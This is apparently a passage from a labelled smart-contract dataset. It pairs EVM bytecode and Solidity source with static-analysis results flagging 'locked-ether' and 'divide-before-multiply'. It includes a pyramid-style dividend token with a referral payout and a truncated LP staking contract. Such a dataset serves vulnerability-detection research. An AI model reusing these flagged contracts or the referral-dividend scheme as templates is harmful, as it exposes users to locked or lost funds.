fffffff16145b8061152f57508173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806115875750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806115df5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806116335750600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611644576001935050505061165f565b61164e87866118fd565b61165757600080fd5b600193505050505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106116a55783856116a8565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106117f15783856117f4565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080600a5414801561191257506000600854145b801561192057506000600954145b1561192e57600090506119ce565b6000600a54111561198b57600a54600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061198a57600090506119ce565b5b600060085411156119aa578160085411156119a957600090506119ce565b5b600060095411156119c9576009548211156119c857600090506119ce565b5b600190505b9291505056fea264697066735822122089b99e1b779300dceb8758377950d7eb8943160dbe9761d62e0a78313a3919b064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,972 |
0xfd5f062dc35a29f71972341b310b526a743df206
|
pragma solidity ^0.4.25;
/*
* [✓] 4% Withdraw fee
* [✓] 10% Deposit fee
* [✓] 1% Token transfer
* [✓] 33% Referal link
*
*/
contract CryptoMinerTokenClassic {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Crypto Miner Token Classic";
string public symbol = "CMC";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f610879565b34801561029857600080fd5b5061013f600435151561087f565b3480156102b257600080fd5b5061013f6108c2565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c7565b3480156102e857600080fd5b5061013f6108e2565b3480156102fd57600080fd5b5061013f61092d565b34801561031257600080fd5b5061016661093f565b34801561032757600080fd5b5061033f600160a060020a0360043516602435610999565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3c565b34801561037757600080fd5b50610260610ca8565b61013f600160a060020a0360043516610cd5565b3480156103a057600080fd5b50610260610ce1565b600033818080808080806103c86103c18c600a610d97565b6064610dcd565b96506103d86103c1886021610d97565b95506103e48787610de4565b94506103f08b88610de4565b93506103fb84610df6565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c186600a610d97565b92506106f48584610de4565b91506106ff82610df6565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c1846004610d97565b91506106ff8383610de4565b601281565b600080600061075e600161087f565b1161076857600080fd5b339150610775600061087f565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610840576414f46b04009350610873565b610851670de0b6b3a7640000610e9d565b92506108616103c1846004610d97565b915061086d8383610de4565b90508093505b50505090565b60025481565b60003382610895576108908161060c565b6108b9565b600160a060020a0381166000908152600460205260409020546108b78261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109005764199c82cc009350610873565b610911670de0b6b3a7640000610e9d565b92506109216103c184600a610d97565b915061086d8383610e8e565b600033610939816108c7565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109aa61092d565b116109b457600080fd5b336000818152600360205260409020549094508611156109d357600080fd5b60006109df600161087f565b11156109ed576109ed61074f565b6109fb6103c1876001610d97565b9250610a078684610de4565b9150610a1283610e9d565b9050610a2060065484610de4565b600655600160a060020a038416600090815260036020526040902054610a469087610de4565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a759083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610ae99190680100000000000000008402811515610ae357fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b4f61092d565b11610b5957600080fd5b33600081815260036020526040902054909650871115610b7857600080fd5b869450610b8485610e9d565b9350610b946103c1856004610d97565b9250610ba08484610de4565b9150610bae60065486610de4565b600655600160a060020a038616600090815260036020526040902054610bd49086610de4565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4457610c40600754600654680100000000000000008602811515610ae357fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7a6108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526003602052604081205490811115610cc957610cc981610b3c565b610cd161074f565b5050565b60006108bc34836103a9565b600080600080610cf1600161087f565b11610cfb57600080fd5b610d05600061087f565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d479084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610daa5760009150610dc6565b50828202828482811515610dba57fe5b0414610dc257fe5b8091505b5092915050565b6000808284811515610ddb57fe5b04949350505050565b600082821115610df057fe5b50900390565b6006546000906c01431e0fae6d7217caa00000009082906402540be400610e7b610e75730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001610f09565b85610de4565b811515610e8457fe5b0403949350505050565b600082820183811015610dc257fe5b600654600090670de0b6b3a7640000838101918101908390610ef66414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610ef057fe5b04610de4565b811515610eff57fe5b0495945050505050565b80600260018201045b818110156108bc578091506002818285811515610f2b57fe5b0401811515610f3657fe5b049050610f125600a165627a7a723058202902514c68fb8421e3b65dcd47698397dfb420ed3a1cd320f3d4f06be0889ee00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,973 |
0xbA7EFaeDf19E3487cbe8419210d378ef7C87dB76
|
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function decimals() external pure returns (uint);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface INimbusPair is IERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IERC20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingLPRewardFixedAPY is IStakingRewards, ReentrancyGuard, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public immutable rewardsToken;
INimbusPair public immutable stakingLPToken;
INimbusRouter public swapRouter;
address public immutable lPPairTokenA;
address public immutable lPPairTokenB;
uint256 public rewardRate;
uint256 public constant rewardDuration = 365 days;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => mapping(uint256 => uint256)) public stakeAmountsRewardEquivalent;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
uint256 private _totalSupplyRewardEquivalent;
uint256 private immutable _tokenADecimalCompensate;
uint256 private immutable _tokenBDecimalCompensate;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _balancesRewardEquivalent;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address to, uint256 amount);
event RescueToken(address to, address token, uint256 amount);
constructor(
address _rewardsToken,
address _stakingLPToken,
address _lPPairTokenA,
address _lPPairTokenB,
address _swapRouter,
uint _rewardRate
) {
rewardsToken = IERC20(_rewardsToken);
stakingLPToken = INimbusPair(_stakingLPToken);
swapRouter = INimbusRouter(_swapRouter);
rewardRate = _rewardRate;
lPPairTokenA = _lPPairTokenA;
lPPairTokenB = _lPPairTokenB;
uint tokenADecimals = IERC20(_lPPairTokenA).decimals();
require(tokenADecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenADecimalCompensate = tokenADecimals.sub(6);
uint tokenBDecimals = IERC20(_lPPairTokenB).decimals();
require(tokenBDecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenBDecimalCompensate = tokenBDecimals.sub(6);
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function totalSupplyRewardEquivalent() external view returns (uint256) {
return _totalSupplyRewardEquivalent;
}
function getDecimalPriceCalculationCompensate() external view returns (uint tokenADecimalCompensate, uint tokenBDecimalCompensate) {
tokenADecimalCompensate = _tokenADecimalCompensate;
tokenBDecimalCompensate = _tokenBDecimalCompensate;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function balanceOfRewardEquivalent(address account) external view returns (uint256) {
return _balancesRewardEquivalent[account];
}
function earned(address account) public view override returns (uint256) {
return (_balancesRewardEquivalent[account].mul(block.timestamp.sub(weightedStakeDate[account])).mul(rewardRate)) / (100 * rewardDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
// permit
IERC20Permit(address(stakingLPToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
_stake(amount, msg.sender);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
_stake(amount, msg.sender);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
_stake(amount, user);
}
function _stake(uint256 amount, address user) private {
IERC20(stakingLPToken).safeTransferFrom(msg.sender, address(this), amount);
uint amountRewardEquivalent = getCurrentLPPrice().mul(amount) / 10 ** 18;
_totalSupply = _totalSupply.add(amount);
_totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.add(amountRewardEquivalent);
uint previousAmount = _balances[user];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[user] = (weightedStakeDate[user].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[user] = newAmount;
uint stakeNonce = stakeNonces[user]++;
stakeAmounts[user][stakeNonce] = amount;
stakeAmountsRewardEquivalent[user][stakeNonce] = amountRewardEquivalent;
_balancesRewardEquivalent[user] = _balancesRewardEquivalent[user].add(amountRewardEquivalent);
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
require(stakeAmounts[msg.sender][nonce] > 0, "StakingLPRewardFixedAPY: This stake nonce was withdrawn");
uint amount = stakeAmounts[msg.sender][nonce];
uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce];
_totalSupply = _totalSupply.sub(amount);
_totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.sub(amountRewardEquivalent);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_balancesRewardEquivalent[msg.sender] = _balancesRewardEquivalent[msg.sender].sub(amountRewardEquivalent);
IERC20(stakingLPToken).safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
stakeAmountsRewardEquivalent[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function getCurrentLPPrice() public view returns (uint) {
// LP PRICE = 2 * SQRT(reserveA * reaserveB ) * SQRT(token1/RewardTokenPrice * token2/RewardTokenPrice) / LPTotalSupply
uint tokenAToRewardPrice;
uint tokenBToRewardPrice;
address rewardToken = address(rewardsToken);
address[] memory path = new address[](2);
path[1] = address(rewardToken);
